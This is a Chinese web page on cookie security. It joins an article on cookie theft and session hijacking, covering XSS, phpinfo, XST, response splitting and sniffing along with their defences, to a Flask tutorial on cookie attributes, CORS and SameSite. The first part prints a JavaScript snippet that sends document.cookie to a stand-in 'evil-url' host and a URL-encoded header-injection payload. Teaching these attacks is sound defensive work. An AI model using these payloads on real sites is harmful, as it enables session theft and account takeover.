整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

cookie窃取和session劫持

cookie窃取和session劫持

、cookie的基本特性

如果不了解cookie,可以先到wikipedia上学习一下。

http request

浏览器向服务器发起的每个请求都会带上cookie:

Host: www.example.org
Cookie: foo=value1;bar=value2
Accept: */*

http response

服务器给浏览器的返回可以设置cookie:

HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
 
(content of page)

二、cookie有关的术语

session cookie

当cookie没有设置超时时间,那么cookie会在浏览器退出时销毁,这种cookie是session cookie。

persistent cookie/tracking cookie

设置了超时时间的cookie,会在指定时间销毁,cookie的维持时间可以持续到浏览器退出之后,这种cookie被持久化在浏览器中。很多站点用cookie跟踪用户的历史记录,例如广告类站点会使用cookie记录浏览过哪些内容,搜索引擎会使用cookie记录历史搜索记录,这时也可以称作tracking cookie,因为它被用于追踪用户行为。

secure cookie

服务器端设置cookie的时候,可以指定secure属性,这时cookie只有通过https协议传输的时候才会带到网络请求中,不加密的http请求不会带有secure cookie。设置secure cookie的方式举例:

Set-Cookie: foo=bar; Path=/; Secure

HttpOnly cookie

服务器端设置cookie的时候,也可以指定一个HttpOnly属性。

Set-Cookie: foo=bar; Path=/; HttpOnly

设置了这个属性的cookie在javascript中无法获取到,只会在网络传输过程中带到服务器。

third-party cookie

第三方cookie的使用场景通常是iframe,例如www.a.com潜入了一个www.ad.com的广告iframe,那么www.ad.com设置的cookie属于不属于www.a.com,被称作第三方cookie。

supercookie

cookie会从属于一个域名,例如www.a.com,或者属于一个子域,例如b.a.com。但是如果cookie被声明为属于.com会发生什么?这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。浏览器做出了限制,不允许设置顶级域名cookie(例如.com,.net)和pubic suffix cookie(例如.co.uk,.com.cn)。现代主流浏览器都很好的处理了supercookie问题,但是如果有些第三方浏览器使用的顶级域名和public suffix列表有问题,那么就可以针对supercookie进行攻击啦。

zombie cookie/evercookie

僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash,silverlight),当cookie被删除时,从其他存储中恢复。 evercookie是实现僵尸cookie的主要技术手段。 了解僵尸cookie和evercookie。

三、cookie有什么用

通常cookie有三种主要的用途。

session管理

http协议本身是是无状态的,但是现代站点很多都需要维持登录态,也就是维持会话。最基本的维持会话的方式是Base Auth,但是这种方式,用户名和密码在每次请求中都会以明文的方式发送到客户端,很容易受到中间人攻击,存在很大的安全隐患。所以现在大多数站点采用基于cookie的session管理方式:用户登陆成功后,设置一个唯一的cookie标识本次会话,基于这个标识进行用户授权。只要请求中带有这个标识,都认为是登录态。

个性化

cookie可以被用于记录一些信息,以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。以前Google退出的iGoogle产品也是一个典型的例子,用户可以拥有自己的Google自定制主页,其中就使用了cookie。

user tracking

cookie也可以用于追踪用户行为,例如是否访问过本站点,有过哪些操作等。

四、cookie窃取和session劫持

本文就cookie的三种用途中session管理的安全问题进行展开。 既然cookie用于维持会话,如果这个cookie被攻击者窃取会发生什么?session被劫持! 攻击者劫持会话就等于合法登录了你的账户,可以浏览大部分用户资源。

攻击一旦站点中存在可利用的xss漏洞,攻击者可直接利用注入的js脚本获取cookie,进而通过异步请求把标识session id的cookie上报给攻击者。

var img=document.createElement('img');
img.src='http://evil-url?c='+ encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);

如何寻找XSS漏洞是另外一个话题了,自行google之。 防御 根据上面HttpOnly cookie的介绍,一旦一个cookie被设置为HttpOnly,js脚本就无法再获取到,而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持,但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。 但是上面说的是无法利用xss进行简单的攻击,但是也不是没有办法的。既然无法使用document.cookie获取到,可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。

xss结合phpinfo页面

攻击 大家都知道,利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息,其中就包括cookie信息。

如果开发者没有关闭这个页面,就可以利用xss漏洞向这个页面发起异步请求,获取到页面内容后parse出cookie信息,然后上传给攻击者。 phpinfo只是大家最常见的一种dump请求的页面,但不仅限于此,为了调试方便,任何dump请求的页面都是可以被利用的漏洞。 防御关闭所有phpinfo类dump request信息的页面。

XSS + HTTP TRACE=XST

这是一种古老的攻击方式,现在已经消失,写在这里可以扩展一下攻防思路。http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求,又可以获取session信息了。之所以说是一种古老的攻击方式,因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。另外提一点,当浏览器没有禁止异步发起trace的时代,很多开发者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过,用户使用了代理服务器,而代理服务器没有关闭trace支持,这样又可以trace了。

HTTP Response Splitting

  • 参考1
  • 参考2

通常的XSS攻击都是把输入内容注入到response的content中,HTTP Response Splitting是一种针对header的注入。例如,一个站点接受参数做302跳转:

www.example.com/?r=http://baidu.com

request信息:

GET /example.com?r=http://baidu.com

HTTP/1.1

Host: example.com

response:

HTTP/1.1 302 Found
Location: http://baidu.com
Content-Type: text/html

这样页面就302跳转到百度了。攻击者利用r参数可以注入header,r参数不是简单的url,而是包含的header信息:

 
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
 

response变成了:

HTTP/1.1 302 Found
Location: 
HTTP/1.1 200 OK
Content-Type: text/html
X-XSS-Protection: 0
 
<html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
Content-Type: text/html

有两个攻击要点:

  • 指定X=XSS-Protection: 0 ,关闭浏览器的xss保护机制。
  • 注入脚本

防御 针对header的内容做过滤,不能漏掉,特别是Location,host,referrer等。说到底,这也是一种XSS攻击,只是攻击方式与普通的不太一样。针对header的攻击还可以做SQL注入等,防御的原则是对所有的输入进行sanitize,包括非用户输入的内容,比如referrer这种一般由浏览器带过来的信息,因为请求完全可以被伪造,未必来自浏览器。

网络监听(network eavesdropping/network sniffing)

以上是利用上层应用的特性的几种攻击方式,cookie不仅存在于上层应用中,更流转于请求中。上层应用获取不到后,攻击者可以转而从网络请求中获取。只要是未使用https加密的网站都可以抓包分析,其中就包含了标识session的cookie。当然,完成网络监听需要满足一定的条件,这又是另外一个话题了。常见的方式:

  • DNS缓存投毒攻击者把要攻击的域名的一个子域映射到攻击者的server,然后想办法让被攻击者访问这个server(XSS request、社会化攻击等),请求中会带过来所有cookie(包括HttpOnly)。
  • 中间人攻击常见的攻击方式是搭建免费wifi,把DHCP服务器指定为攻击者ip,在攻击者机器上可以收到所有请求,不仅可以获取cookie,还可以进行脚本注入。
  • 代理服务器/VPN翻墙用免费VPN?呵呵。

防御使用https。使用https协议的请求都被ssl加密,理论上不可破解,即便被网络监听也无法通过解密看到实际的内容。防御网络监听通常有两种方式:

  • 信道加密
  • 内容加密

https是加密信道,在此信道上传输的内容对中间人都是不可见的。但https是有成本的。内容加密比较好理解,例如对password先加密再传输。但是对于标识session的cookie这种标识性信息是无法通过内容加密得到保护的。那么,使用https的站点就可以高枕无忧了吗?事实上,一些细节上的处理不当同样会暴露出攻击风险。

https站点攻击:双协议

如果同时支持http和https,那么还是可以使用网络监听http请求获取cookie。 防御只支持https,不支持http。这样就好了吗?No.

https站点攻击:301重定向

例如www.example.com只支持https协议,当用户直接输入example.com(大部分用户都不会手动输入协议前缀),web server通常的处理是返回301要求浏览器重定向到https://www.example.com。这次301请求是http的!而且带了cookie,这样又将cookie明文暴露在网络上了。 防御1 把标识session的cookie设置成secure。上面提到的secure cookie,只允许在https上加密传输,在http请求中不会存在,这样就不会暴露在未加密的网络上了。 然后现实很残酷,很多站点根本无法做到所有的请求都走https。原因有很多,可能是成本考虑,可能是业务需求。 防御2 设置Strict-Transport-Security header,直接省略这个http请求!用户首次访问后,服务器设置了这个header以后,后面就会省略掉这次http 301请求。

eb 开发中的 cookie 是什么?

cookie 是后端可以存储在用户浏览器中的小块数据。 Cookie 最常见用例包括用户跟踪,个性化以及身份验证。

Cookies 具有很多隐私问题,多年来一直受到严格的监管。

在本文中,主要侧重于技术方面:学习如何在前端和后端创建,使用 HTTP cookie。

后端配置

后端示例是Flask编写的。如果你想跟着学习,可以创建一个新的Python虚拟环境,移动到其中并安装Flask

mkdir cookies && cd $_

python3 -m venv venv
source venv/bin/activate

pip install Flask

在项目文件夹中创建一个名为flask app.py的新文件,并使用本文的示例在本地进行实验。

谁创建 cookies ?

首先,cookies 从何而来?谁创建 cookies ?

虽然可以使用document.cookie在浏览器中创建 cookie,但大多数情况下,后端的责任是在将响应客户端请求之前在请求中设置 cookie。

后端是指可以通过以下方式创建 Cookie:

  • 后端实际应用程序的代码(Python、JavaScript、PHP、Java)
  • 响应请求的Web服务器(Nginx,Apache)

后端可以在 HTTP 请求求中 Set-Cookie 属性来设置 cookie,它是由键/值对以及可选属性组成的相应字符串:

Set-Cookie: myfirstcookie=somecookievalue

什么时候需要创建 cookie?这取决于需求。

cookie 是简单的字符串。在项目文件夹中创建一个名为flask_app.py的Python文件,并输入以下内容:

from flask import Flask, make_response

app = Flask(__name__)


@app.route("/index/", methods=["GET"])
def index():
    response = make_response("Here, take some cookie!")
    response.headers["Set-Cookie"] = "myfirstcookie=somecookievalue"
    return response

然后运行应用程序:

FLASK_ENV=development FLASK_APP=flask_app.py flask run

当该应用程序运行时,用户访问http://127.0.0.1:5000/index/,后端将设置一个具有键/值对的名为Set-Cookie的响应标头。

(127.0.0.1:5000是开发中的 Flask 应用程序的默认侦听地址/端口)。

Set-Cookie标头是了解如何创建cookie的关键:

response.headers["Set-Cookie"] = "myfirstcookie=somecookievalue"

大多数框架都有自己设置 cookie 的方法,比如Flask的set_cookie()。

如何查看 cookies ?

访问http://127.0.0.1:5000/index/后,后端将在浏览器中设置cookie。要查看此cookie,可以从浏览器的控制台调用document.cookie:

或者可以在开发人员工具中选中Storage选项卡。单击cookie,会看到 cookie 具体的内容:

在命令行上,还可以使用curl查看后端设置了哪些 cookie

curl -I http://127.0.0.1:5000/index/

可以将 Cookie 保存到文件中以供以后使用:

curl -I http://127.0.0.1:5000/index/ --cookie-jar mycookies

在 stdout 上显示 cookie:

curl -I http://127.0.0.1:5000/index/ --cookie-jar -

请注意,没有HttpOnly属性的cookie,在浏览器中可以使用document.cookie上访问,如果设置了 HttpOnly 属性,document.cookie就读取不到。

Set-Cookie: myfirstcookie=somecookievalue; HttpOnly

现在,该cookie 仍将出现在 Storage 选项卡中,但是 document.cookie返回的是一个空字符串。

从现在开始,为方便起见,使用Flask的 response.set_cookie() 在后端上创建 cookie。

我有一个 cookie,现在怎么办?

你的浏览器得到一个 cookie。现在怎么办呢?一旦有了 cookie,浏览器就可以将cookie发送回后端。

这有许多用途发如:用户跟踪、个性化,以及最重要的身份验证。

例如,一旦你登录网站,后端就会给你一个cookie:

Set-Cookie: userid=sup3r4n0m-us3r-1d3nt1f13r

为了在每个后续请求中正确识别 我们的身份,后端会检查来自请求中浏览器的 cookie

要发送Cookie,浏览器会在请求中附加一个Cookie标头:

Cookie: userid=sup3r4n0m-us3r-1d3nt1f13r

cookie 可以设置过期时间: Max-Age 和 expires

默认情况下,cookie 在用户关闭会话时即关闭浏览器时过期。要持久化cookie,我们可以通过expires或Max-Age属性

Set-Cookie: myfirstcookie=somecookievalue; expires=Tue, 09 Jun 2020 15:46:52 GMT; Max-Age=1209600

注意:Max-Age优先于expires

cookie的作用域是网站路径: path 属性

考虑该后端,该后端在访问http://127.0.0.1:5000/时为其前端设置了一个新的 cookie。相反,在其他两条路径上,我们打印请求的cookie:

from flask import Flask, make_response, request

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
    response = make_response("Here, take some cookie!")
    response.set_cookie(key="id", value="3db4adj3d", path="/about/")
    return response


@app.route("/about/", methods=["GET"])
def about():
    print(request.cookies)
    return "Hello world!"


@app.route("/contact/", methods=["GET"])
def contact():
    print(request.cookies)
    return "Hello world!"

运行该应用程序:

FLASK_ENV=development FLASK_APP=flask_app.py flask run

在另一个终端中,如果我们与根路由建立连接,则可以在Set-Cookie中看到cookie:

curl -I http://127.0.0.1:5000/ --cookie-jar cookies

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 23
Set-Cookie: id=3db4adj3d; Path=/about/
Server: Werkzeug/1.0.1 Python/3.8.3
Date: Wed, 27 May 2020 09:21:37 GMT

请注意,此时 cookie 具有Path属性:

Set-Cookie: id=3db4adj3d; Path=/about/

/about/ 路由并保存 cookit

curl -I http://127.0.0.1:5000/about/ --cookie cookies

在 Flask 应用程序的终端中运行如下命令,可以看到:

ImmutableMultiDict([('id', '3db4adj3d')])
127.0.0.1 - - [27/May/2020 11:27:55] "HEAD /about/ HTTP/1.1" 200 -

正如预期的那样,cookie 返回到后端。现在尝试访问 /contact/ 路由:

url -I http://127.0.0.1:5000/contact/ --cookie cookies

在 Flask 应用程序的终端中运行如下命令,可以看到:

ImmutableMultiDict([])
127.0.0.1 - - [27/May/2020 11:29:00] "HEAD /contact/ HTTP/1.1" 200 -

这说明啥?cookie 的作用域是Path 。具有给定路径属性的cookie不能被发送到另一个不相关的路径,即使这两个路径位于同一域中。

这是cookie权限的第一层。

在cookie创建过程中省略Path时,浏览器默认为/。

cookie 的作用域是域名: domain 属性

cookie 的 Domain 属性的值控制浏览器是否应该接受cookie以及cookie返回的位置。

让我们看一些例子。

主机不匹配(错误的主机)

查看 https://serene-bastion-01422.herokuapp.com/get-wrong-domain-cookie/设置的cookie:

Set-Cookie: coookiename=wr0ng-d0m41n-c00k13; Domain=api.valentinog.com

这里的 cookie 来自serene-bastion-01422.herokuapp.com,但是Domain属性具有api.valentinog.com

浏览器没有其他选择来拒绝这个 cookie。比如 Chrome 会给出一个警告(Firefox没有)

主机不匹配(子域名)

查看 https://serene-bastion-01422.herokuapp.com/get-wrong-subdomain-cookie/设置的cookie:

Set-Cookie: coookiename=wr0ng-subd0m41n-c00k13; Domain=secure-brushlands-44802.herokuapp.com

这里的 Cookie 来自serene-bastion-01422.herokuapp.com,但**“Domain”**属性是secure-brushlands-44802.herokuapp.com。

它们在相同的域上,但是子域名不同。同样,浏览器也拒绝此cookie:

主机匹配(整个域)

查看 https://www.valentinog.com/get-domain-cookie.html设置的cookie:

set-cookie: cookiename=d0m41n-c00k13; Domain=valentinog.com

此cookie是使用 Nginx add_header在Web服务器上设置的:

add_header Set-Cookie "cookiename=d0m41n-c00k13; Domain=valentinog.com";

这里使用 Nginx 中设置cookie的多种方法。Cookie 是由 Web 服务器或应用程序的代码设置的,对于浏览器来说无关紧要。

重要的是 cookie 来自哪个域。

在此浏览器将愉快地接受cookie,因为Domain中的主机包括cookie所来自的主机。

换句话说,valentinog.com包括子域名www.valentinog.com。

同时,对valentinog.com的新请求,cookie 都会携带着,以及任何对valentinog.com子域名的请求。

这是一个附加了Cookie的 www 子域请求:

下面是对另一个自动附加cookie的子域的请求

Cookies 和公共后缀列表

查看 https://serene-bastion-01422.herokuapp.com/get-domain-cookie/:设置的 cookie:

Set-Cookie: coookiename=d0m41n-c00k13; Domain=herokuapp.com

这里的 cookie 来自serene-bas-01422.herokuapp.com,Domain 属性是herokuapp.com。浏览器在这里应该做什么

你可能认为serene-base-01422.herokuapp.com包含在herokuapp.com域中,因此浏览器应该接受cookie。

相反,它拒绝 cookie,因为它来自公共后缀列表中包含的域。

Public Suffix List(公共后缀列表)。此列表列举了顶级域名和开放注册的域名。浏览器禁止此列表上的域名被子域名写入Cookie。

主机匹配(子域)

查看 https://serene-bastion-01422.herokuapp.com/get-subdomain-cookie/:设置的 cookie:

Set-Cookie: coookiename=subd0m41n-c00k13

当域在cookie创建期间被省略时,浏览器会默认在地址栏中显示原始主机,在这种情况下,我的代码会这样做:

response.set_cookie(key="coookiename", value="subd0m41n-c00k13")

当 Cookie 进入浏览器的 Cookie 存储区时,我们看到已应用Domain :

现在,我们有来自serene-bastion-01422.herokuapp.com 的 cookie, 那 cookie 现在应该送到哪里?

如果你访问https://serene-bastion-01422.herokuapp.com/,则 cookie 随请求一起出现:

但是,如果访问herokuapp.com,则 cookie 不会随请求一起出现:

概括地说,浏览器使用以下启发式规则来决定如何处理cookies(这里的发送者主机指的是你访问的实际网址):

  • 如果“Domain”中的域或子域与访问的主机不匹配,则完全拒绝 Cookie
  • 如果 Domain 的值包含在公共后缀列表中,则拒绝 cookie
  • 如果Domain 中的域或子域与访问在主机匹配,则接受 Cookie

一旦浏览器接受了cookie,并且即将发出请求,它就会说:

  • 如果请求主机与我在Domain中看到的值完全匹配,则会回传 cookie
  • 如果请求主机是与我在“Domain”中看到的值完全匹配的子域,则将回传 cookie
  • 如果请求主机是sub.example.dev之类的子域,包含在example.dev之类的 Domain 中,则将回传 cookie
  • 如果请求主机是例如example.dev之类的主域,而 Domain 是sub.example.dev之类,则不会回传cookie。

Domain 和 Path 属性一直是 cookie 权限的第二层。

Cookies可以通过AJAX请求传递

Cookies 可以通过AJAX请求传播。AJAX 请求是使用 JS (XMLHttpRequest或Fetch)进行的异步HTTP请求,用于获取数据并将其发送回后端。

考虑 Flask的另一个示例,其中有一个模板,该模板又会加载 JS 文件:

from flask import Flask, make_response, render_template

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")


@app.route("/get-cookie/", methods=["GET"])
def get_cookie():
    response = make_response("Here, take some cookie!")
    response.set_cookie(key="id", value="3db4adj3d")
    return response

以下是 templates/index.html 模板:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<button>FETCH</button>
</body>
<script src="{{ url_for('static', filename='index.js') }}"></script>
</html>

下面是 static/index.js 的内容:

const button = document.getElementsByTagName("button")[0];

button.addEventListener("click", function() {
  getACookie();
});

function getACookie() {
  fetch("/get-cookie/")
    .then(response => {
      // make sure to check response.ok in the real world!
      return response.text();
    })
    .then(text => console.log(text));
}

当访问http://127.0.0.1:5000/时,我们会看到一个按钮。通过单击按钮,我们向/get-cookie/发出获取请求并获取Cookie。正如预期的那样,cookie 落在浏览器的 Cookie storage中。

对 Flask 应用程序进行一些更改,多加一个路由:

from flask import Flask, make_response, request, render_template, jsonify

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")


@app.route("/get-cookie/", methods=["GET"])
def get_cookie():
    response = make_response("Here, take some cookie!")
    response.set_cookie(key="id", value="3db4adj3d")
    return response


@app.route("/api/cities/", methods=["GET"])
def cities():
    if request.cookies["id"] == "3db4adj3d":
        cities = [{"name": "Rome", "id": 1}, {"name": "Siena", "id": 2}]
        return jsonify(cities)
    return jsonify(msg="Ops!")

另外,调整一下 JS 代码,用于下请求刚新增的路由:

const button = document.getElementsByTagName("button")[0];

button.addEventListener("click", function() {
  getACookie().then(() => getData());
});

function getACookie() {
  return fetch("/get-cookie/").then(response => {
    // make sure to check response.ok in the real world!
    return Promise.resolve("All good, fetch the data");
  });
}

function getData() {
  fetch("/api/cities/")
    .then(response => {
      // make sure to check response.ok in the real world!
      return response.json();
    })
    .then(json => console.log(json));

当访问http://127.0.0.1:5000/时,我们会看到一个按钮。通过单击按钮,我们向/get-cookie/发出获取请求以获取Cookie。Cookie出现后,我们就会对/api/cities/再次发出Fetch请求。

在浏览器的控制台中,可以看到请求回来 的数据。另外,在开发者工具的Network选项卡中,可以看到一个名为Cookie的头,这是通过AJAX请求传给后端。

只要前端与后端在同一上下文中,在前端和后端之间来回交换cookie就可以正常工作:我们说它们来自同源。

这是因为默认情况下,Fetch 仅在请求到达触发请求的来源时才发送凭据,即 Cookie。

cookie 不能总是通过AJAX请求传递

考虑另一种情况,在后端独立运行,可以这样启动应用程序:

FLASK_ENV=development FLASK_APP=flask_app.py flask run

现在,在 Flask 应用程序之外的其他文件夹中,创建index.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<button>FETCH</button>
</body>
<script src="index.js"></script>
</html>

使用以下代码在同一文件夹中创建一个名为index.js的 JS 文件:


button.addEventListener("click", function() {
  getACookie().then(() => getData());
});

function getACookie() {
  return fetch("http://localhost:5000/get-cookie/").then(response => {
    // make sure to check response.ok in the real world!
    return Promise.resolve("All good, fetch the data");
  });
}

function getData() {
  fetch("http://localhost:5000/api/cities/")
    .then(response => {
      // make sure to check response.ok in the real world!
      return response.json();
    })
    .then(json => console.log(json));
}

在同一文件夹中,从终端运行:

npx serve

此命令为您提供了要连接的本地地址/端口,例如http://localhost:42091/。访问页面并尝试在浏览器控制台打开的情况下单击按钮。在控制台中,可以看到:

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/get-cookie/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing)

因为 http://localhost:5000/ 与http://localhost:42091/.不同。它们是不同的域,因此会 CORS 的限制。

处理 CORS

CORS 是一个 W3C 标准,全称是“跨域资源共享”(Cross-origin resource sharing)。它允许浏览器向跨域的服务器,发出XMLHttpRequest请求,从而克服了 AJAX 只能同源使用的限制。

整个 CORS 通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS 通信与普通的 AJAX 通信没有差别,代码完全一样。浏览器一旦发现 AJAX 请求跨域,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感知。因此,实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口,就可以跨域通信。

默认情况下,除非服务器设置了Access-Control-Allow-Origin的特定HTTP标头,否则浏览器将阻止AJAX对非相同来源的远程资源的请求。

要解决此第一个错误,我们需要为Flask配置CORS:

pip install flask-cors

然后将 CORS 应用于 Flask:

from flask import Flask, make_response, request, render_template, jsonify
from flask_cors import CORS

app = Flask(__name__)
CORS(app=app)


@app.route("/", methods=["GET"])
def index():
    return render_template("index.html")


@app.route("/get-cookie/", methods=["GET"])
def get_cookie():
    response = make_response("Here, take some cookie!")
    response.set_cookie(key="id", value="3db4adj3d")
    return response


@app.route("/api/cities/", methods=["GET"])
def cities():
    if request.cookies["id"] == "3db4adj3d":
        cities = [{"name": "Rome", "id": 1}, {"name": "Siena", "id": 2}]
        return jsonify(cities)
    return jsonify(msg="Ops!")

现在尝试在浏览器控制台打开的情况下再次单击按钮。在控制台中你应该看到

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/api/cities/. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing)

尽管我们犯了同样的错误,但这次的罪魁祸首是第二个路由。

你可以通过查看 “Network” 标签中的请求来确认,没有发送此类Cookie:

为了在不同来源的Fetch请求中包含cookie,我们必须提credentials 标志(默认情况下,它是相同来源)。

如果没有这个标志,Fetch 就会忽略 cookie,可以这样修复:

const button = document.getElementsByTagName("button")[0];

button.addEventListener("click", function() {
  getACookie().then(() => getData());
});

function getACookie() {
  return fetch("http://localhost:5000/get-cookie/", {
    credentials: "include"
  }).then(response => {
    // make sure to check response.ok in the real world!
    return Promise.resolve("All good, fetch the data");
  });
}

function getData() {
  fetch("http://localhost:5000/api/cities/", {
    credentials: "include"
  })
    .then(response => {
      // make sure to check response.ok in the real world!
      return response.json();
    })
    .then(json => console.log(json));
}

credentials: "include" 必须在第一个 Fetch 请求中出现,才能将Cookie保存在浏览器的Cookie storage 中:

fetch("http://localhost:5000/get-cookie/", {
    credentials: "include"
  })

它还必须在第二个请求时出现,以允许将cookie传输回后端

  fetch("http://localhost:5000/api/cities/", {
    credentials: "include"
  })

再试一次,我们还需要在后端修复另一个错误:

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost:5000/get-cookie/. (Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’).

为了允许在CORS请求中传输cookie,后端还需要设置 Access-Control-Allow-Credentials标头。

CORS(app=app, supports_credentials=True)

要点:为了使Cookie在不同来源之间通过AJAX请求传递,可以这样做:

  • credentials: "include" 用于前端的 fetch 请求中
  • Access-Control-Allow-Credentials 和 Access-Control-Allow-Origin 用于后端

cookie可以通过AJAX请求传递,但是它们必须遵守我们前面描述的域规则。

Cookie 的 Secure 属性

Secure 属性是说如果一个 cookie 被设置了Secure=true,那么这个cookie只能用https协议发送给服务器,用 http 协议是不发送的。换句话说,cookie 是在https的情况下创建的,而且他的Secure=true,那么之后你一直用https访问其他的页面(比如登录之后点击其他子页面),cookie会被发送到服务器,你无需重新登录就可以跳转到其他页面。但是如果这时你把url改成http协议访问其他页面,你就需要重新登录了,因为这个cookie不能在http协议中发送。

可以这样设置 Secure 属性

response.set_cookie(key="id", value="3db4adj3d", secure=True)

如果要在真实环境中尝试,请可以运行以下命令,并注意curl在此处是不通过HTTP保存cookie:

curl -I http://serene-bastion-01422.herokuapp.com/get-secure-cookie/ --cookie-jar -

相反,通过HTTPS,cookie 出现在cookie jar中:

curl -I https://serene-bastion-01422.herokuapp.com/get-secure-cookie/ --cookie-jar -

cookie jar 文件:

serene-bastion-01422.herokuapp.com      FALSE   /       TRUE    0

不要被Secure欺骗:浏览器通过HTTPS接受cookie,但是一旦cookie进入浏览器,就没有任何保护。

因为带有 Secure 的 Cookie 一般也不用于传输敏感数据.

Cookie 的 HttpOnly 属性

如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。

XSS 全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

如果有设置 HttpOnly 看起来是这样的:

Set-Cookie: "id=3db4adj3d; HttpOnly"

在 Flask 中

response.set_cookie(key="id", value="3db4adj3d", httponly=True)

这样,cookie 设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息。如果在控制台中进行检查,则document.cookie将返回一个空字符串。

何时使用HttpOnly?cookie 应该始终是HttpOnly的,除非有特定的要求将它们暴露给运行时 JS。

可怕的 SameSite 属性

first-party cookie 和 third-party cookie

查看https://serene-bastion-01422.herokuapp.com/get-cookie/ 中所携带的 Cookie

Set-Cookie: simplecookiename=c00l-c00k13; Path=/

first-party是指你登录或使用的网站所发行的 cookie,而third-party cookie 常为一些广告网站,有侵犯隐私以及安全隐患。

我们将这类 Cookie 称为 first-party。也就是说,我在浏览器中访问该URL,并且如果我访问相同的URL或该站点的另一个路径(假设Path为/),则浏览器会将cookie发送回该网站。

现在考虑在https://serene-bastion-01422.herokuapp.com/get-frog/上的另一个网页。该页面设置了一个cookie,此外,它还从https://www.valentinog.com/cookie-frog.jpg托管的远程资源中加载图像。

该远程资源又会自行设置一个cookie:

我们将这种 cookie 称为third-party(第三方) Cookie。

第三方 Cookie 除了用于 CSRF 攻击,还可以用于用户追踪。比如,Facebook 在第三方网站插入一张看不见的图片。

<img src="facebook.com" style="visibility:hidden;">

浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站。

使用 SameSite 属性

Cookie 的SameSite 属性用来限制third-party Cookie,从而减少安全风险。它可以设置三个值。

  • Strict
  • Lax
  • None

Strict最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。

Set-Cookie: CookieName=CookieValue; SameSite=Strict;

这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。

Lax规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。


Set-Cookie: CookieName=CookieValue; SameSite=Lax;

导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。

设置了Strict或Lax以后,基本就杜绝了 CSRF 攻击。当然,前提是用户浏览器支持 SameSite 属性。

Chrome 计划将Lax变为默认设置。这时,网站可以选择显式关闭SameSite属性,将其设为None。不过,前提是必须同时设置Secure属性(Cookie 只能通过 HTTPS 协议发送),否则无效。

下面的设置无效。

Set-Cookie: widget_session=abc123; SameSite=None

下面的设置有效。

Set-Cookie: widget_session=abc123; SameSite=None; Secure

Cookies 和 认证

身份验证是 web 开发中最具挑战性的任务之一。关于这个主题似乎有很多困惑,因为JWT中的基于令牌的身份验证似乎要取代“旧的”、可靠的模式,如基于会话的身份验证。

来看看 cookie 在这里扮演什么角色。

基于会话的身份验证

身份验证是 cookie 最常见的用例之一。

当你访问一个请求身份验证的网站时,后端将通过凭据提交(例如通过表单)在后台发送一个Set-Cookie标头到前端。

型的会话 cookie 如下所示:

Set-Cookie: sessionid=sty1z3kz11mpqxjv648mqwlx4ginpt6c; expires=Tue, 09 Jun 2020 15:46:52 GMT; HttpOnly; Max-Age=1209600; Path=/; SameSite=Lax

这个Set-Cookie头中,服务器可以包括一个名为session、session id或类似的cookie。

这是浏览器可以清楚看到的唯一标识符。每当通过身份验证的用户向后端请求新页面时,浏览器就会发回会话cookie。

基于会话的身份验证是有状态的,因为后端必须跟踪每个用户的会话。这些会话的存储可能是:

  • 数据库
  • 像 Redis 这样的键/值存储
  • 文件系统
